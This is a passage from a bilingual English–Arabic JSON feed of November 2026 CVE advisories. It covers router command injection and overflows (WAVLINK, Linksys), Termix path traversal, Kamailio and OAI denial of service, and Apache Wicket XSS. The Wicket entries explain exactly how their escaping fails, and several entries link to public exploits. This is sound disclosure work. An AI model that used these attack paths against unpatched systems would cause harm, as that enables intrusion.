الضحية."},"refs":[["https://github.com/http4k/http4k/security/advisories/GHSA-9xx4-xjpj-xqcf","advisory"],["https://www.vulncheck.com/advisories/http4k-4.9.10.0-before-6.60.0.0-digest-auth-int-missing-body-integrity","advisory"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"http4k"},{"id":"CVE-2026-120322","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T01:45:41Z","product":"Termix-SSH Termix","affected":[["2.9.0",null],["2.9.1",null],["2.9.2",null]],"title":{"en":"Termix-SSH Termix transferToHost path traversal","ar":"ثغرة اجتياز المسار في ميزة transferToHost لبرنامج Termix-SSH Termix"},"summary":{"en":"A vulnerability was identified in Termix-SSH Termix up to 2.9.2. This issue affects some unknown processing of the file /plugin-api/file-manager/transferToHost. The manipulation of the argument destPath leads to path traversal. The attack may be initiated remotely. The exploit is publicly available and might be used. The shortcut was removed in the standalone File Manager plugin v1.0.0 (transfer engine now always writes over SFTP) and in core v26.10.0. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم تحديد ثغرة في برنامج Termix-SSH Termix حتى الإصدار 2.9.2. تؤثر هذه المشكلة على بعض عمليات المعالجة غير المعروفة للملف /plugin-api/file-manager/transferToHost. يؤدي التلاعب بالوسطة destPath إلى اجتياز المسار. يمكن بدء الهجوم عن بُعد، واستغلال الثغرة متاح للعامة وقد يُستخدم. تمت إزالة الاختصار في الملحق المستقل File Manager الإصدار v1.0.0 (حيث يكتب محرك النقل عبر SFTP دائمًا) وفي الإصدار الأساسي v26.10.0. تم التواصل مع الموِّرد مبكرًا بشأن هذا الإفصاح لكنه لم يستجب بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-120322","advisory"],["https://vuldb.com/submit/1015028","advisory"],["https://vuldb.com/vuln/429654","ref"],["https://vuldb.com/vuln/429654/cti","ref"],["https://github.com/0xGenesi/CVE/blob/main/Termix_FileManager_transferToHost_Arbitrary_File_Write.md","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"termix-ssh-termix"},{"id":"CVE-2026-120281","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T01:17:27Z","product":"WAVLINK WN536AX6-A","affected":[["V260507",null]],"title":{"en":"WAVLINK WN536AX6-A OpenVPN protocol.csp strcpy stack-based overflow","ar":"ثغرة في بروتوكول OpenVPN لجهاز WAVLINK WN536AX6-A تعتمد على دالة strcpy وفيضان المخزن المؤقت في المكدس"},"summary":{"en":"A vulnerability was found in WAVLINK WN536AX6-A V260507. This affects the function strcpy of the file /protocol.csp of the component OpenVPN Handler. The manipulation of the argument openvpn_ip results in stack-based buffer overflow. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure.","ar":"تم العثور على ثغرة في الإصدار V260507 من WAVLINK WN536AX6-A. تؤثر هذه الثغرة على دالة strcpy في الملف /protocol.csp المكون لبرنامج OpenVPN Handler. تؤدي معالجة الوسيط openvpn_ip إلى فيضان المخزن المؤقت في المكدس. يمكن شن الهجوم عن بُعد، وقد تم نشر استغلال لهذه الثغرة للعامة ويمكن استخدامه. تم التواصل مع المورد مسبقًا بشأن هذا الإفصاح."},"refs":[["https://vuldb.com/cve/CVE-2026-120281","advisory"],["https://vuldb.com/submit/919790","advisory"],["https://github.com/F-yyjy/cve/blob/main/WN536AX6-A_openvpn_ip.md","ref"],["https://vuldb.com/vuln/429625","ref"],["https://vuldb.com/vuln/429625/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn536ax6-a"},{"id":"CVE-2026-120279","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T01:17:26Z","product":"WAVLINK WN536AX6-A","affected":[["V260507",null]],"title":{"en":"WAVLINK WN536AX6-A openvpn_cli protocol.csp os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في مكون openvpn_cli ضمن الملف protocol.csp لجهاز WAVLINK WN536AX6-A"},"summary":{"en":"A flaw has been found in WAVLINK WN536AX6-A V260507. The affected element is an unknown function of the file /protocol.csp of the component openvpn_cli Handler. Executing a manipulation of the argument file_id can lead to os command injection. The attack can be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure.","ar":"تم اكتشاف عيب في الإصدار V260507 من WAVLINK WN536AX6-A. العنصر المتأثر هو دالة غير معروفة في الملف /protocol.csp المكون لمعالج openvpn_cli. تؤدي معالجة الوسيط file_id إلى حقن أوامر نظام التشغيل. يمكن شن الهجوم عن بُعد، وقد تم نشر استغلال لهذه الثغرة وربما يُستخدَم. تم التواصل مع المورد مبكرًا بخصوص هذا الإفصاح."},"refs":[["https://vuldb.com/cve/CVE-2026-120279","advisory"],["https://vuldb.com/submit/919788","advisory"],["https://github.com/pipiyyb/cve/blob/main/WAVLINK%20WN536AX6-A/WN536AX6-A_file_id.md","ref"],["https://vuldb.com/vuln/429623","ref"],["https://vuldb.com/vuln/429623/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn536ax6-a"},{"id":"CVE-2026-120280","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T01:17:26Z","product":"WAVLINK WN536AX6-A","affected":[["V260507",null]],"title":{"en":"WAVLINK WN536AX6-A WireGuard protocol.csp wireguard_cli_group handler os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في معالج wireguard_cli_group ببروتوكول WireGuard ضمن الملف protocol.csp لجهاز WAVLINK WN536AX6-A"},"summary":{"en":"A vulnerability has been found in WAVLINK WN536AX6-A V260507. The impacted element is the function wireguard_cli_group handler of the file /protocol.csp of the component WireGuard. The manipulation of the argument group_id/group_name leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure.","ar":"تم العثور على ثغرة في الإصدار V260507 من WAVLINK WN536AX6-A. العنصر المتأثر هو دالة معالج wireguard_cli_group في الملف /protocol.csp التابع لمكون WireGuard. تؤدي معالجة الوسيط group_id/group_name إلى حقن أوامر نظام التشغيل. يمكن البدء بالهجوم عن بُعد، وقد تم الكشف عن استغلال للعامة وربما يُستخدَم. تم الاتصال بالمورد مسبقًا بشأن هذا الإفصاح."},"refs":[["https://vuldb.com/cve/CVE-2026-120280","advisory"],["https://vuldb.com/submit/919789","advisory"],["https://github.com/pipiyyb/cve/blob/main/WAVLINK%20WN536AX6-A/WN536AX6-A_group_id.md","ref"],["https://vuldb.com/vuln/429624","ref"],["https://vuldb.com/vuln/429624/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn536ax6-a"},{"id":"CVE-2026-120283","cvss":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T01:00:22Z","product":"Linksys E8450","affected":[["1.2.00.360516",null]],"title":{"en":"Linksys E8450 portal.cgi strcpy stack-based overflow","ar":"ثغرة في فيضان المخزن المؤقت المستند إلى المكدس في portal.cgi عبر الدالة strcpy لجهاز Linksys E8450"},"summary":{"en":"A vulnerability was identified in Linksys E8450 1.2.00.360516. Affected is the function strcpy of the file /www/cgi-bin/portal.cgi. Such manipulation of the argument hidden_timezone leads to stack-based buffer overflow. The attack can be executed remotely. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم تحديد ثغرة في الإصدار 1.2.00.360516 من جهاز Linksys E8450. تتأثر الدالة strcpy الموجودة في الملف /www/cgi-bin/portal.cgi. يؤدي التلاعب بالوسطة hidden_timezone إلى حدوث فيضان المخزن المؤقت المستند إلى المكدس. يمكن تنفيذ الهجوم عن بُعد. تم التواصل مع المورد مبكرًا بشأن هذا الكشف لكنه لم يستجب بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-120283","advisory"],["https://vuldb.com/submit/1014924","advisory"],["https://vuldb.com/vuln/429627","ref"],["https://vuldb.com/vuln/429627/cti","ref"],["https://www.linksys.com/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linksys-e8450"},{"id":"CVE-2026-120282","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T00:45:25Z","product":"WAVLINK WN536AX6-A","affected":[["V260507",null]],"title":{"en":"WAVLINK WN536AX6-A protocol.csp host_black os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في ملف protocol.csp ضمن وظيفة host_black في جهاز WAVLINK WN536AX6-A"},"summary":{"en":"A vulnerability was determined in WAVLINK WN536AX6-A V260507. This impacts the function host_black of the file /protocol.csp. This manipulation of the argument mac causes os command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.","ar":"تم تحديد ثغرة في إصدار V260507 من جهاز WAVLINK WN536AX6-A. يؤثر هذا على وظيفة host_black في الملف /protocol.csp. يتسبب هذا التلاعب في وسيط mac في حدوث حقن لأوامر نظام التشغيل. يُعد استغلال الهجوم عن بُعد أمرًا ممكنًا. تم الكشف عن الاستغلال علنًا وقد يتم استخدامه. تم التواصل مع المورد مبكرًا بشأن هذا الكشف."},"refs":[["https://vuldb.com/cve/CVE-2026-120282","advisory"],["https://vuldb.com/submit/919791","advisory"],["https://vuldb.com/vuln/429626","ref"],["https://vuldb.com/vuln/429626/cti","ref"],["https://github.com/pipiyyb/cve/blob/main/WAVLINK%20WN536AX6-A/WN536AX6-A_mac.md","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn536ax6-a"},{"id":"CVE-2026-120277","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T00:18:10Z","product":"WAVLINK WN536AX6-A","affected":[["V260507_2.0.0",null]],"title":{"en":"WAVLINK WN536AX6-A WireGuard CLI Group ioos sub_41a1d8 os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في WAVLINK WN536AX6-A WireGuard CLI Group ioos sub_41a1d8"},"summary":{"en":"A security vulnerability has been detected in WAVLINK WN536AX6-A V260507_2.0.0. This issue affects the function sub_41a1d8 of the file /bin/ioos of the component WireGuard CLI Group Handler. Such manipulation of the argument group_name leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure.","ar":"تم اكتشاف ثغرة أمنية في الإصدار V260507_2.0.0 من WAVLINK WN536AX6-A. تؤثر هذه المشكلة على الدالة sub_41a1d8 في الملف /bin/ioos التابع لمكون WireGuard CLI Group Handler. يؤدي التلاعب بمعامل group_name إلى حقن أوامر نظام التشغيل. من الممكن شن الهجوم عن بُعد. تم الكشف عن استغلال الثغرة علنًا وربما يتم استخدامها. تم التواصل مع المورد مسبقًا بشأن هذا الكشف."},"refs":[["https://vuldb.com/cve/CVE-2026-120277","advisory"],["https://vuldb.com/submit/919503","advisory"],["https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/WAVLINK_WN536AX6-A%20Router/WAVLINK_WN536AX6-A_wireguard_cli_group_command_injection.md","ref"],["https://vuldb.com/vuln/429621","ref"],["https://vuldb.com/vuln/429621/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn536ax6-a"},{"id":"CVE-2026-120276","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T00:18:09Z","product":"WAVLINK WN536AX6-A","affected":[["V260507_2.0.0",null]],"title":{"en":"WAVLINK WN536AX6-A Web Management ioos sub_416760 os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في WAVLINK WN536AX6-A Web Management ioos sub_416760"},"summary":{"en":"A weakness has been identified in WAVLINK WN536AX6-A V260507_2.0.0. This vulnerability affects the function sub_416760 of the file /bin/ioos of the component Web Management Interface. This manipulation of the argument group_name causes os command injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure.","ar":"تم تحديد نقطة ضعف في الإصدار V260507_2.0.0 من WAVLINK WN536AX6-A. تؤثر هذه الثغرة على الدالة sub_416760 في الملف /bin/ioos التابع لمكون Web Management Interface. يؤدي هذا التلاعب بمعامل group_name إلى حقن أوامر نظام التشغيل. من الممكن بدء الهجوم عن بُعد. تم إتاحة استغلال الثغرة للجمهور ويمكن استخدامها في الهجمات. تم التواصل مع المورد مسبقًا بشأن هذا الكشف."},"refs":[["https://vuldb.com/cve/CVE-2026-120276","advisory"],["https://vuldb.com/submit/919502","advisory"],["https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/WAVLINK_WN536AX6-A%20Router/WAVLINK_WN536AX6-A_openvpn_cli_group_command_injection.md","ref"],["https://vuldb.com/vuln/429620","ref"],["https://vuldb.com/vuln/429620/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn536ax6-a"},{"id":"CVE-2026-106804","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"A stack-based buffer overflow exists in Kamailio v6.1.3 and v6.1.4 in the ims_qos_npn module.","ar":"يوجد فيض مخزن مؤقت قائم على المكدس في Kamailio الإصدارات v6.1.3 و v6.1.4 ضمن وحدة ims_qos_npn."},"summary":{"en":"A stack-based buffer overflow exists in Kamailio v6.1.3 and v6.1.4 in the ims_qos_npn module. The w_rx_aar_register() function copies the attacker-controlled host field from the SIP `Via` header into a fixed 46-byte stack buffer without validating its length. An unauthenticated remote attacker can trigger the vulnerability with a crafted SIP `REGISTER` request, causing stack corruption and termination of the affected Kamailio instance, resulting in denial of service.","ar":"يوجد فيض مخزن مؤقت قائم على المكدس في Kamailio الإصدارات v6.1.3 و v6.1.4 ضمن وحدة ims_qos_npn. تقوم الدالة w_rx_aar_register() بنسخ حقل المضيف الخاضع لسيطرة المهاجم من ترويسة SIP المعنونة `Via` إلى مخزن مؤقت مكدس ثابت بحجم 46 بايت دون التحقق من طوله. يمكن لمهاجم عن بُعد دون مصادقة تفعيل الثغرة باستخدام طلب SIP المعنون `REGISTER` مصمم خصيصًا، مما يتسبب في تلف المكدس وإنهاء مثيل Kamailio المتأثر، مما يؤدي إلى حجب الخدمة."},"refs":[["https://github.com/kamailio/kamailio/issues/4953","ref"],["https://gist.github.com/hackeryounow/f5af75502ea6df600428c46bb9bbf39e","ref"]],"epss":0.0057,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-117069","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-197","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"An integer truncation vulnerability in the NAS decoder of OpenAirInterface (OAI) CN5G AMF v2.2.1 allows an unauthenticated remote attacker to cause a ","ar":"ثغرة اقتطاع عدد صحيح في محلل فكه لبروتوكول NAS في OpenAirInterface (OAI) CN5G AMF الإصدار v2.2.1 تسمح لمهاجم عن بُعد دون مصادقة بالتسبب في"},"summary":{"en":"An integer truncation vulnerability in the NAS decoder of OpenAirInterface (OAI) CN5G AMF v2.2.1 allows an unauthenticated remote attacker to cause a denial of service (DoS) via crafted NAS Registration Requests containing a malformed IMEISV in the 5GS Mobile Identity IE. The Type6NasIe::Validate() function truncates a 32-bit length value to 16 bits, bypassing length validation and causing an out-of-bounds heap read in DecodeImeisv(), which can crash the AMF process.","ar":"تسمح ثغرة اقتطاع عدد صحيح في محلل فكه لبروتوكول NAS في OpenAirInterface (OAI) CN5G AMF الإصدار v2.2.1 لمهاجم عن بُعد دون مصادقة بالتسبب في حجب الخدمة (DoS) عبر طلبات تسجيل NAS مصممة خصيصًا تحتوي على IMEISV غير صالح في عنصر الهوية المحمولة 5GS Mobile Identity IE. تقوم الدالة Type6NasIe::Validate() باقتطاع قيمة طول 32-بت إلى 16-بت، مما يتجاوز التحقق من الطول ويسبب قراءة من الذاكرة الديناميكية (heap) خارج الحدود في DecodeImeisv()، وهو ما يمكن أن يؤدي إلى تعطل عملية AMF."},"refs":[["https://github.com/openairinterface/oai-cn5g-amf/issues/16","ref"],["https://gist.github.com/hackeryounow/1c6741be7d536bd98434ac270dbb1f60","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-84231","cvss":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T23:17:30Z","product":"Apache Software Foundation Apache Wicket","affected":[["8.0.0 – 8.19.0",null]],"title":{"en":"Apache Wicket: XSS in ExternalLink via the model URL when the component is bound to a non-anchor tag","ar":"Apache Wicket: ثغرة البرمجة بين الموقعين XSS في ExternalLink عبر عنوان URL الخاص بالنموذج عندما يكون المكون مرتبطاً بوسم غير وسم الرابط"},"summary":{"en":"Improper neutralization of input during web page generation in Apache Wicket. org.apache.wicket.markup.html.link.ExternalLink builds a JavaScript click handler and writes it into the tag's onclick attribute whenever the markup tag the component is bound to is not an a, link or area element. The URL held in the component's model is concatenated into a single-quoted JavaScript string literal in that handler without being escaped for that context. The same happens on the neighbouring branch, taken when popup settings are attached, where the value is concatenated into the window.open() call built by org.apache.wicket.markup.html.link.PopupSettings#getPopupJavaScript(). The only escaping applied is the markup escaping that every attribute value receives as the tag is written, which replaces an apostrophe with a character reference. A browser decodes character references in an attribute value before it compiles the event handler, so the apostrophe is restored, closes the string literal, and the rest of the model value is executed as script in the application's origin. An application is affected where it binds an ExternalLink to a markup tag that is not an anchor, such as a button or a span, and the URL in the model holds data an attacker can influence, which is the ordinary use of the component rather than a misuse of it. Nothing runs until a user activates the element. This issue affects Apache Wicket: from 8.0.0 through 8.19.0. Users of Apache Wicket 7.x or older, which are no longer supported, should upgrade to a supported version. Users are recommended to upgrade to version 8.20.0, which fixes the issue.","ar":"يوجد تحييد غير سليم للإدخال أثناء توليد صفحات الويب في Apache Wicket. يقوم org.apache.wicket.markup.html.link.ExternalLink بناء معالج نقر بلغة JavaScript ويكتبه في سمة onclick الخاصة بالوسم كلما لم يكن وسم الترميز المرتبط به عنصراً من نوع a أو link أو area. يتم دمج عنوان URL الموجود في نموذج المكون داخل نص حرفي لسلسلة JavaScript محاطة بعلامتي اقتباس مفردة في ذلك المعالج دون الهروب من هذا السياق. يحدث الأمر ذاته في الفرع المجاور، الذي يُنفذ عند إرفاق إعدادات النوافذ المنبثقة، حيث يُدمج القيمة في استدعاء window.open() الذي يبنيه org.apache.wicket.markup.html.link.PopupSettings#getPopupJavaScript(). الهروب الوحيد المطبق هو هروب الترميز الذي تتلقاه كل قيمة سمة أثناء كتابة الوسم، والذي يستبدل الفاصلة العليا بمرجع حرف. يفك المتصفح ترميز مرجع الحرف في قيمة السمة قبل تجميع معالج الأحداث، ونتيجة لذلك تتم استعادة الفاصلة العليا، وإغلاق النص الحرفي للسلسلة، وتنفيذ باقي قيمة النموذج كشيفرة برمجية في مصدر التطبيق. يتأثر التطبيق عندما يربط ExternalLink بوسم ترميز ليس رابطاً، مثل زر أو عنصر span، ويكون عنوان URL في النموذج حاملاً لبيانات يمكن للمهاجم التأثير عليها، وهو الاستخدام العادي للمكون وليس سوء استخدام له. لا يُنفذ أي شي حتى يقوم المستخدم بتنشيط العنصر. تؤثر هذه الثغرة على Apache Wicket: من الإصدار 8.0.0 حتى 8.19.0. يجب على مستخدمي Apache Wicket الإصدار 7.x أو الأقدم، والتي لم تعد مدعومة، الترقية إلى إصدار مدعوم. يوصى المستخدمون بالترقية إلى الإصدار 8.20.0، الذي يصحح هذه الثغرة."},"refs":[["https://lists.apache.org/thread.html/39kz9838w25797bpkxn1hvfsm8jtc4zv","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-software-foundation-apache-wicket"},{"id":"CVE-2026-82956","cvss":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T23:17:29Z","product":"Apache Software Foundation Apache Wicket","affected":[["8.0.0 – 8.19.0",null],["9.0.0 – 9.24.0",null],["10.0.0 – 10.11.0",null]],"title":{"en":"Apache Wicket: XSS in AjaxNewWindowNotifyingBehavior via the client-supplied window name","ar":"Apache Wicket: ثغرة البرمجة بين الموقعين XSS في AjaxNewWindowNotifyingBehavior عبر اسم النافذة المقدم من العميل"},"summary":{"en":"Improper neutralization of input during web page generation in Apache Wicket. org.apache.wicket.ajax.AjaxNewWindowNotifyingBehavior notices that a page instance has been opened in a second browser window or tab. It asks the browser for the value of window.name, which reaches the server as the request parameter windowName, and remembers what the browser reported in a field of the behaviour. That field is part of the page's serialized state, so the remembered value stays in the page store for as long as the page instance does. On every later render of that page instance the behaviour builds the precondition of its Ajax call by substituting the remembered value into a single-quoted JavaScript string literal, and Wicket writes that precondition into the page as raw JavaScript, because the precondition of an Ajax call listener is script supplied by the caller and is emitted without quoting or escaping. Nothing on that path escapes the value. The window name is client-supplied and Wicket applies no validation to it, so a remembered name containing a single quote ends the literal and the rest of it runs as script in the application's origin, every time that page instance is rendered. An application is affected only where it has explicitly added AjaxNewWindowNotifyingBehavior to a component. No part of the framework installs the behaviour, so an application that does not use it is not affected. The name the behaviour generates for itself, when the browser reports no name at all, is a random UUID and is not client-supplied. This issue affects Apache Wicket: from 8.0.0 through 8.19.0, from 9.0.0 through 9.24.0, from 10.0.0 through 10.11.0. Users are recommended to upgrade to version 8.20.0, 9.25.0 or 10.12.0, which fix the issue.","ar":"يوجد تحييد غير سليم للإدخال أثناء توليد صفحات الويب في Apache Wicket. يلاحظ org.apache.wicket.ajax.AjaxNewWindowNotifyingBehavior أن مثيل الصفحة قد تم فتحه في نافذة متصفح ثانية أو علامة تبويب. وهو يطلب من المتصفح قيمة window.name، والتي تصل إلى الخادم كمعلمة طلب window.name، ويتذكر ما أبلغه المتصفح في حقل السلوك. هذا الحقل جزء من الحالة المتسلسلة للصفحة، لذا تظل القيمة المتذكرة في متجر الصفحة طالما ظل مثيل الصفحة موجوداً. في كل عملية عرض لاحقة لمثيل الصفحة هذا، يبني السلوك الشرط الأساسي لاستدعاء Ajax الخاص به عن طريق استبدال القيمة المتذكرة داخل نص حرفي لسلسلة JavaScript محاطة بعلامتي اقتباس مفردة، ويكتب Wicket هذا الشرط في الصفحة كشيفرة JavaScript خام، نظراً لأن الشرط الأساسي لمستمع استدعاء Ajax هو شيفرة مقدمة من المُستدعي ويتم اصدارها دون اقتباس أو هروب. لا يوجد شيء في هذا المسار يقوم بعمل هروب للقيمة. اسم النافذة مقدم من العميل ولا يطبق Wicket أي تحقق عليه، لذا فإن الاسم المتذكر الذي يحتوي على فاصلة عليا ينهي النص الحرفي ويتم تشغيل ما تبقى منه كشيفرة في مصدر التطبيق، في كل مرة يتم فيها عرض مثيل الصفحة هذا. يتأثر التطبيق فقط عندما يقوم بإضافة AjaxNewWindowNotifyingBehavior صراحةً إلى أحد المكونات. لا يقوم أي جزء من الإطار بتثبيت هذا السلوك، لذا فإن التطبيق الذي لا يستخدمه لا يتأثر. الاسم الذي يولده السلوك لنفسه، عندما لا يبلغ المتصفح عن أي اسم على الإطلاق، هو معرف فريد عشوائي UUID وليس مقدماً من العميل. تؤثر هذه الثغرة على Apache Wicket: من الإصدار 8.0.0 حتى 8.19.0، ومن 9.0.0 حتى 9.24.0، ومن 10.0.0 حتى 10.11.0. يوصى المستخدمون بالترقية إلى الإصدار 8.20.0 أو 9.25.0 أو 10.12.0، والتي تصحح هذه الثغرة."},"refs":[["https://lists.apache.org/thread.html/fs3vdddt9bwshdstj952psj49s5w4vqm","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-software-foundation-apache-wicket"},{"id":"CVE-2026-83539","cvss":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T23:17:29Z","product":"Apache Software Foundation Apache Wicket","affected":[["8.0.0 – 8.19.0",null],["9.0.0 – 9.24.0",null],["10.0.0 – 10.11.0",null]],"title":{"en":"Apache Wicket: XSS in SmartLinkLabel and SmartLinkMultiLineLabel via a javascript: URL in the model data","ar":"Apache Wicket: ثغرة البرمجة بين الموقعين XSS في SmartLinkLabel و SmartLinkMultiLineLabel عبر عنوان URL بلغة javascript: في بيانات النموذج"},"summary":{"en":"Improper neutralization of input during web page generation in Apache Wicket. org.apache.wicket.extensions.markup.html.basic.SmartLinkLabel and org.apache.wicket.extensions.markup.html.basic.SmartLinkMultiLineLabel display a text value and turn any URL they find in it into a hyperlink. Both escape the model value and then hand the escaped text to org.apache.wicket.extensions.markup.html.basic.DefaultLinkParser, which searches it for anything of the form scheme://rest and wraps each match in an anchor whose href is the matched text, copied in as it is. The pattern accepts any scheme, and there is no list of permitted schemes anywhere on the path. A text value naming a scheme that executes script therefore becomes an anchor that executes it, in the application's origin and in the reader's own session, when the reader clicks the link. Rendering the page is not enough on its own; the link has to be activated. Escaping does not prevent this and is not the issue: the characters the payload needs are all valid in a URL and are ones that org.apache.wicket.util.string.Strings#escapeMarkup() leaves alone, and the value ends up in a URL rather than in element text, which is a context that escaping model data does not make safe. An application is affected where it renders text it received through either of these two components. That is what they are for: they exist to linkify email addresses and web URLs found in the data an application is displaying, so untrusted input is the purpose of the feature rather than a misuse of it, and no unusual configuration is involved. No other component uses this parser, and an application that uses neither SmartLinkLabel nor SmartLinkMultiLineLabel is not affected. On 9.x and 10.x the Content-Security-Policy Wicket sends by default admits script only from a source carrying a per-response nonce, and a URL whose scheme executes script cannot carry one, so that default policy stops the script from running. This is a property of the default polic…","ar":"يوجد تحييد غير سليم للإدخال أثناء توليد صفحات الويب في Apache Wicket. يقوم org.apache.wicket.extensions.markup.html.basic.SmartLinkLabel و org.apache.wicket.extensions.markup.html.basic.SmartLinkMultiLineLabel بعرض قيمة نصية وتحويل أي عنوان URL يجدانه فيها إلى ارتباط تشعبي. يقوم كلاهما بعمل هروب لقيمة النموذج ثم تسليم النص الذي تم الهروب منه إلى org.apache.wicket.extensions.markup.html.basic.DefaultLinkParser، والذي يبحث فيه عن أي شيء بالهيئة scheme://rest ويقوم بلف كل مطابقة في رابط تشعبي تكون سمة href الخاصة به هي النص المطابق، منسوخة كما هي. يقبل النمط أي مخطط، وليس هناك قائمة بالمخططات المسموحة في أي مكان على المسار. وبالتالي، فإن القيمة النصية التي تسمي مخططاً ينفذ شيفرة تصبح رابطاً ينفذها، في مصدر التطبيق وفي جلسة القارئ نفسه، عندما ينقر القارئ على الرابط. عرض الصفحة ليس كافياً بمفرده؛ بل يجب تنشيط الرابط. لا يمنع الهروب حدوث ذلك وليس هو المشكلة: فالأحرف التي يحتاجها الحمولة كلها صالحة في عنوان URL وهي 